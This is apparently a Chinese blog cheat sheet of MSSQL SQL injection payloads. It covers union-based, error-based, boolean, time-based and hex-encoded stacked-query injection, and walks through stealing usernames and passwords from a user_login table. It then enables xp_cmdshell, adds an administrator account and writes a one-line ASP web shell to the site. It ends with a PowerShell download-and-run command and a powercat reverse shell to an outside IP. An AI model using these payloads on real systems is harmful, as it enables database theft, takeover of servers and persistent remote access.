SQL 注入
获取当前表列数
> 0x01 联合查询注入
?id=1 order by 5
联合查询获取可现实数据的列
?id=1 and 1=2 union select 1,2,3,4,5 from sysobjects
获取表名
?id=1 and 1=2 union select 1,name,3,4,5 from sysobjects where xtype='u'
获取列名
?id=1 and 1=2 union select 1,name,3,4,5 from syscolumns where id=object_id('user_login')
获取用户名、密码
?id=1 and 1=2 union select 1,username,3,password,5 from user_login
> 0x02 MSSQL报错型注入
(1) 正确的输入,通过报错查询当前库中的表名及表的个数:
?id=1 and (select top 1 name from sysobjects where name in (select top 9 name from sysobjects where xtype='u' order by name asc) order by name desc)>0
通过更改上面语句里的9,比如改为1,改为2等,逐个查询表。
结果:查到user_login表
(2) 通过报错查询user_login中的列名及个数:
?id=1 and (select top 1 name from syscolumns where name in (select top 1 name from syscolumns where id=object_id('user_login') order by name asc) order by name desc)>0
------嵌套查询,而且排序两次。
改进的方法:
?id=1 and (select top 1 name from syscolumns where id=object_id('user_login') and name not in(select top 1 name from syscolumns where id=object_id('user_login') order by name asc) order by name asc)>0
结果:查到username、password两个列
(3) 查询用户名和密码
?id=1 and (select username%2b'\\\'%2bpassword from user_login where id=1)>0
> 0x03 盲注
1.基于逻辑真假的盲注入(在常规注入网站做)
(1)猜表的数量
?id=1 and select count(*) from sysobjects where xtype='u'>0
(2)猜表的长度
?id=1 and (select top 1 len(name) from sysobjects where xtype='u' and name not in (select top 0 name from sysobjects where xtype='u' order by name asc) order by name asc)>8
2.基于报错的盲注入
构造查询式:
and 1=case when(1>0) then 1 else 'abc' end
1>0用基于逻辑真假的表达式来代替
and 1=sqrt(1-0)
1用基于逻辑真假的表达式来代替,此函数用来开方,负数不能开方,这样可以很容易判断表数量、表长度、表名、列数量、列长度、列名、数据量、数据长度、数据名
3.基于时间的盲注入
构造查询式:
;if **not**(1>0) waitfor delay'0:0:3'
如果逻辑表达式不为真,则延迟三秒。1>0用基于逻辑真假的表达式来代替
> **0x04 多语句搭建**
1.构造框架
';declare @a varchar(5000);set @a=if((select count(*) from sysobjects where xtype='u')>20) waitfor delay'0:0:3';execute(@a) --
(1)时间延迟的判断语句:if(1>0) waitfor delay'0:0:3'
(2)查询列数量的语句:select count(*) from sysobjects where xtype='u'
(3)将查询数量的语句插入到时间延迟的判断语句中:if((select count(*) from sysobjects where xtype='u')>20) waitfor delay'0:0:3'
2.将(3)中构造的语句转换成十六进制绕过select的限制。
6966282873656c65637420636f756e74282a292066726f6d207379736f626a656374732077686572652078747970653d277527293e3230292077616974666f722064656c617927303a303a3327
3.将十六进制数引入到框架中替换(3)中的语句,同时在前面加0x
';declare @a varchar(5000);set @a=0x6966282873656c65637420636f756e74282a292066726f6d207379736f626a656374732077686572652078747970653d277527293e3230292077616974666f722064656c617927303a303a3327 waitfor delay'0:0:3';execute(@a)
> **0x05 存储过程利用**
---
1.开启xp_cmdshell调用功能:在注入点后输入
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'cmdshell',1;reconfigure;--
2.调用cmd,创建用户:在注入点输入
;exec master..xp_cmdshell 'net user nj 123456 /add %26 net localgroup administrators nj /add'
burpsuite的get请求
exec%20master..xp_cmdshell%20%27ping%20bbb.fxfs10.ceye.io%27
3.通过注入点上传一句话:在注入点输入
;exec master..xp_cmdshell 'echo ^<%25eval request('123')%25^> > 网站的绝对路径\nj.asp'
注意:^>是对>的转译;%25是对%的转译。
4.通过powershell反弹shell
exec master.dbo.xp_cmdshell "powershell IEX (New-Object [System.Net.Webclient).DownloadString](http://system.net.webclient%29.downloadstring/)('http://t.cn/RXY9Xkh');powercat -c 195.163.206.81 -p 3333 -e cmd"
http://t.cn/RXY9Xkh 为脚本文件地址的短地址,可能已失效
> **0x06 常用注入命令**
1. 查询第一个数据库
**SELECT** top 1 Name **FROM** Master..SysDatabases;
2. 查询第二个数据库
**SELECT** top 1 Name **FROM** Master..SysDatabases **where** name **not** **in** ('数据库1');
3.查询第三个数据库
**SELECT** top 1 Name **FROM** Master..SysDatabases **where** name **not** **in** ('数据库1','数据库2');
4.查询所有表
**select** name **from** sysobjects **where** xtype='u'
5.查询当前数据库的表
**select** top 1 name **from** [数据库名字].sys.all_objects **where** type='U' **AND** is_ms_shipped=0
6.查询当前数据库第二个表
**select** top 1 name **from**[数据库名字].sys.all_objects **where** type='U' **AND** is_ms_shipped=0 **and** name **not** **in** ('第一个表名')

浙公网安备 33010602011771号